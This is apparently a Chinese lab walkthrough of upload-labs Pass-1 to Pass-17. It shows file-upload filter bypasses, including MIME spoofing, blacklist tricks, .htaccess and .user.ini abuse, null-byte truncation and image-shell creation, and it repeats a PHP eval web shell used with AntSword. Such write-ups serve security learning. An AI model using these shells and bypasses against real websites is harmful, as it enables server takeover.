一步步做下来的真实记录,希望能帮助大家,避免踩坑!!!
一个简单的记录,部分关卡需要进行相应配置,均已说明。
目录
Pass-16 (文件内容检测,exif_imagetype函数绕过)
Pass-1 (js前端验证)
①新建一个文件1.png,写入文件内容:
<?php eval($_POST[pass]);?>
②上传1.png文件,使用BurpSuite截包,将文件名由"1.png"改为"1.php"
③蚁剑连接
Pass-2 (MIME验证)
①新建一个2.php,写入文件内容:
<?php eval($_POST[pass]);?>
②上传2.php文件,使用BurpSuite截包,将Content-Type由"application/octet-stream"改为"image/jpeg"或"image/png"或"image/gif"
③蚁剑连接
Pass-3 (黑名单验证,特殊后缀)
注意!!!需要修改phpstudy中的配置文件httpd-conf,找到AddType application/x-httpd-php .php .phtml,取消注释并在这句话后面加上" .php2 .php3 .php4 .php5"
①上传上述2.php文件,使用BurpSuite截包,将文件名由"2.php"改为"2.php2"或"2.php3"等
②蚁剑连接
Pass-4 (黑名单验证,.htaccess)
①新建一个.htaccess文件,写入文件内容
<FilesMatch "1.png">
SetHandler application/x-httpd-php
</FilesMatch>
②先上传.htaccess文件
③然后上传pass-1中的1.png文件
④蚁剑连接
Pass-5 (黑名单验证,.user.ini)
①新建一个.user.ini文件,写入文件内容:
auto_prepend_file=1.png
②上传.user.ini文件
③上传1.png文件
④注意!!!蚁剑连接../upload/readme.php
Pass-6 (黑名单验证,大小写绕过)
①将"2.php"文件改为"2.Php"文件上传;
或者直接上传2.php文件,使用BurpSuite截包,将文件名由"2.php"改为"2.Php"
②蚁剑连接
Pass-7 (黑名单验证,空格绕过)
①上传2.php文件,使用BurpSuite截包,将文件名由"2.php"改为"2.php "
②蚁剑连接
Pass-8 (黑名单验证,点号绕过)
①上传2.php文件,使用BurpSuite截包,将文件名由"2.php"改为"2.php."
②蚁剑连接
Pass-9 (黑名单验证,特殊字符::$DATA绕过)
①上传2.php文件,使用BurpSuite截包,将文件名由"2.php"改为"2.php::$DATA"
②注意!!!蚁剑连接(连接时删去URL中的::$DATA)
Pass-10 (黑名单验证,点+空格+点绕过)
①上传2.php文件,使用BurpSuite截包,将文件名由"2.php"改为"2.php. ."
②蚁剑连接
Pass-11 (黑名单验证,双写绕过)
①上传2.php文件,使用BurpSuite截包,将文件名由"2.php"改为"2.pphphp"
②蚁剑连接
Pass-12 (GET方式00截断绕过)
踩坑!!!注意:需要切换phpstudy中php 版本<5.3.4且php的参数magic_quotes_gpc必须关闭。(magic_quotes_gpc关闭操作如下:点击phpstudy中其他选项菜单—>PHP扩展及设置—>参数开关设置—>找到magic_quotes_gpc,确保其没有打勾)
①上传1.png文件,使用BurpSuite截包,将第一行save_path的内容由"=../upload/"改为"=../upload/12.php%00",此处php前的文件名可随便取
②注意!!!蚁剑连接../upload/12.php
Pass-13 (POST方式00截断绕过)
注意!!!跟Pass-12中一样需要先修改phpstudy中的配置
①上传1.png文件,使用BurpSuite截包,找到Content-Disposition,将"../upload/"改为"../upload/13.php+",然后在Hex中找到这个"+"的编码"2b",将其改为"00"
②注意!!!蚁剑连接../upload/13.php
Pass-14 (文件头检测,文件幻数绕过)
注意!!!将前面修改的php版本改回来
①新建一个文件14.png,写入文件内容:
GIF89a
<?php eval($_POST[pass]);?>
②上传14.png文件,右键查看已上传图像,可以看到上传之后该文件新的文件名为XXX.gif
③点击第14题题目中"文件包含漏洞"的链接
④在打开的新网页的网址../upload-labs/include.php后面加上"?file=upload/XXX.gif"
⑤蚁剑连接../upload-labs/include.php?file=upload/XXX.gif
Pass-15 (文件内容检测,图片马绕过)
①在同一路径下准备一个1.jpg图像文件和前面的2.php文件
②在该路径的cmd下输入以下命令,生成图片马
copy 1.jpg/b + 2.php/a 3.jpg
③上传3.jpg,右键查看已上传图像,可以看到上传之后该文件新的文件名为XXX.jpeg
④点击第15题题目中"文件包含漏洞"的链接
⑤在打开的新网页的网址../upload-labs/include.php后面加上"?file=upload/XXX.jpeg"
⑥蚁剑连接../upload-labs/include.php?file=upload/XXX.jpeg
Pass-16 (文件内容检测,exif_imagetype函数绕过)
注意!!!先开启php_exif模块(点击phpstudy中其他选项菜单—>PHP扩展及设置—>PHP扩展—>找到php_exif,确保其打勾)
①跟Pass-15中的图片马绕过一样
Pass-17 (文件内容检测,图片二次渲染绕过)
①准备一个GIF文件17.gif,上传17.gif,右键查看已上传文件,可以看到上传之后该文件新的文件名为XXX1.gif
②使用010 Editor编辑器,比较17.gif和XXX1.gif,在数据相同的部分插入代码,另存文件172.gif
<?php eval($_POST[pass]);?>
③上传172.gif,右键查看已上传文件,可以看到上传之后该文件新的文件名为XXX2.gif
④点击第17题题目中"文件包含漏洞"的链接
⑤在打开的新网页的网址../upload-labs/include.php后面加上"?file=upload/XXX2.gif"
⑥蚁剑连接../upload-labs/include.php?file=upload/XXX2.gif
后面的题目学完再继续更新……
参考链接:
1、文件上传 Upload-labs_ThnPkm的博客-CSDN博客_文件上传upload-labsPass-01不能使用php文件,这里是前端绕过js过滤,有几种方式,但我还是只用能bp实现、将包含webshell的php文件重命名为png,在上传的过程中使用bp拦截并修改后缀,实现绕过js验证Pass-02Pass-03Pass-04Pass-05Pass-06Pass-07Pass-08Pass-09Pass-10Pass-11Pass-12Pass-13Pass-14Pass-15Pass-16Pass-17
https://blog.csdn.net/qq_61768489/article/details/122797938?spm=1001.2014.3001.55022、upload-labs通关总结 | 那些年踩过的坑_今天小白努力学习了吗的博客-CSDN博客_uploadlab通关本文就是简单总结一下upload-lab通关方法和踩过的坑,参考的通关教程放在文末,需要的小伙伴去看~
https://blog.csdn.net/m0_56691564/article/details/127614557?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-0-127614557-blog-108411415.pc_relevant_3mothn_strategy_recovery&spm=1001.2101.3001.4242.1&utm_relevant_index=33、【小迪安全】web安全个人学习笔记(2)文件上传 - 知乎前言本人学习于B站上的小迪老师的教学视频, 非常感谢小迪老师的慷慨付出。作为网络安全的新人,自己也在一步步看小迪老师的视频学习,我打算把学习过程记录的笔记更新在知乎上面,以更好地保存笔记和分享给大家。…
https://zhuanlan.zhihu.com/p/574009032